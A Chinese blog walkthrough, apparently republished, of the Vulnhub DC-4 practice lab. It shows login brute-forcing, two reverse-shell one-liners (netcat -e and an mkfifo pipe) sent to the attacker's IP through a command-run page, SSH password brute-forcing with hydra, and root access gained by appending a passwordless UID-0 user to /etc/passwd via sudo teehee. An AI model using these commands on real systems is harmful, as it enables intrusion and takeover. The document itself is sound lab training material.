当前位置: 首页 > news >正文

Vulnhub靶场----4、DC-4

文章目录

  • 一、环境搭建
  • 二、渗透流程
  • 三、思路总结


一、环境搭建

DC-4下载地址:https://download.vulnhub.com/dc/DC-4.zip
kali:192.168.144.148
DC-4:192.168.144.152


二、渗透流程

端口扫描:nmap -T5 -p- -sV -sT -A 192.168.144.152

在这里插入图片描述

思路:
1、访问80页面,爆破账号密码(可利用)
2、对http://192.168.144.152进行目录爆破
3、查看网页源代码
4、查看web指纹信息
……

使用burpsuite对登录页面进行爆破:admin:happy

在这里插入图片描述
在这里插入图片描述

思路:登录后有run command按钮,抓包发现可以执行命令
1、请求包中执行反弹shell命令(可利用)
2、使用wget,让靶机下载webshell,然后连接webshell
……

在这里插入图片描述

方法1:

使用netcat反弹shell:nc -e /bin/sh 192.168.144.148 4444
kali监听:nc -lvnp 4444

在这里插入图片描述

python -c 'import pty;pty.spawn("/bin/sh")'

在这里插入图片描述
方法2:

kali端监听: nc -lnvp 4444
修改网页源代码为反弹shell代码:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.144.148 4444 > /tmp/f;,然后点击run

在这里插入图片描述


kali端获取到反弹shell

在这里插入图片描述

思路(此时已经拿到shell):
1、查看当前权限
2、翻翻找找,看看有没有可利用的
……

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

cat /etc/passwd 发现三个用户:charles、jim、sam

在这里插入图片描述

cd /home 发现三个用户目录
/jim路径下发现old-passwords.bak文件进行利用

在这里插入图片描述

利用old-passwords.bak保存的密码对jim的密码进行爆破;
爆破密码:hydra -l jim -P passwd.txt -s 22 ssh://192.168.144.152
成功获取密码:jim:jibril04
ssh登录:ssh jim@192.168.144.152 -p 22

在这里插入图片描述

cd /var/mail 下发现charles的密码:^xHhA&hvim0y

在这里插入图片描述

jim下没其他可以利用的了,我们尝试登录charles用户
ssh charles@192.168.144.152 -p 22

在这里插入图片描述

查看是否有sudo权限:sudo -l
发现teehee执行权限

在这里插入图片描述

teehee --help
发现-a参数可以写入文件

在这里插入图片描述

用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的 shell
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su test

在这里插入图片描述


三、思路总结

1、爆破登录账号密码
2、根据页面功能反弹shell
3、查看获取到的shell的可利用文件
4、ssh连接  
5、利用teehee执行权限添加特权用户,获取root权限

参考链接:
https://blog.mzfr.me/vulnhub-writeups/2019-07-11-DC4

http://www.lryc.cn/news/16568.html

相关文章:

  • 51单片机学习笔记_12 LCD1602 原理及其模块化代码
  • 科技 “新贵”ChatGPT 缘何 “昙花一现” ,仅低代码风靡至今
  • redis基本入门| 怎么安装redis?什么的是redis?怎么使用?
  • kubernetes traefik ingress 安装部署以及使用和注意点
  • 电脑病毒已灭绝,是真的吗?
  • 基于RK3399+Linux QT地面测试台多参数记录仪测试平台软件设计(二)
  • 追梦之旅【数据结构篇】——详解C语言实现动态版顺序栈
  • Ubuntu 使用Nohup 部署/启动/关闭程序
  • Spring 用到了哪些设计模式
  • Linux上基于PID找到对应的进程名以及所在目录
  • jvm知识点与面试题
  • 算法前缀和—Java版
  • 拨开迷雾 看见vivo穿越周期的秘密
  • 浅谈常用的日志框架
  • 字节是真的难进,测开4面终上岸,压抑5个月,终于可以放声呐喊
  • Bash初识
  • ElasticSearch Script 操作数据最详细介绍
  • 【黑盒模糊测试】路由器固件漏洞挖掘实战--AFL++ qemu_mode
  • 【java实现Word模板导出】Xdocreport和Freemaker
  • Stable-Baselines 3 部分源代码解读 3 ppo.py
  • [业务逻辑] 订单超时怎么处理
  • iOS上架及证书最新创建流程
  • python入门
  • Linux部署java项目
  • elisp 从简单实例开始.
  • ThreeJS加载geojson数据实现3D地图
  • 深度学习无监督磁共振重建方法调研(二)
  • 蓝桥杯入门即劝退(十九)两两交换链表
  • 【Java 面试合集】接口以及抽象类
  • LeetCode 2391. 收集垃圾的最少总时间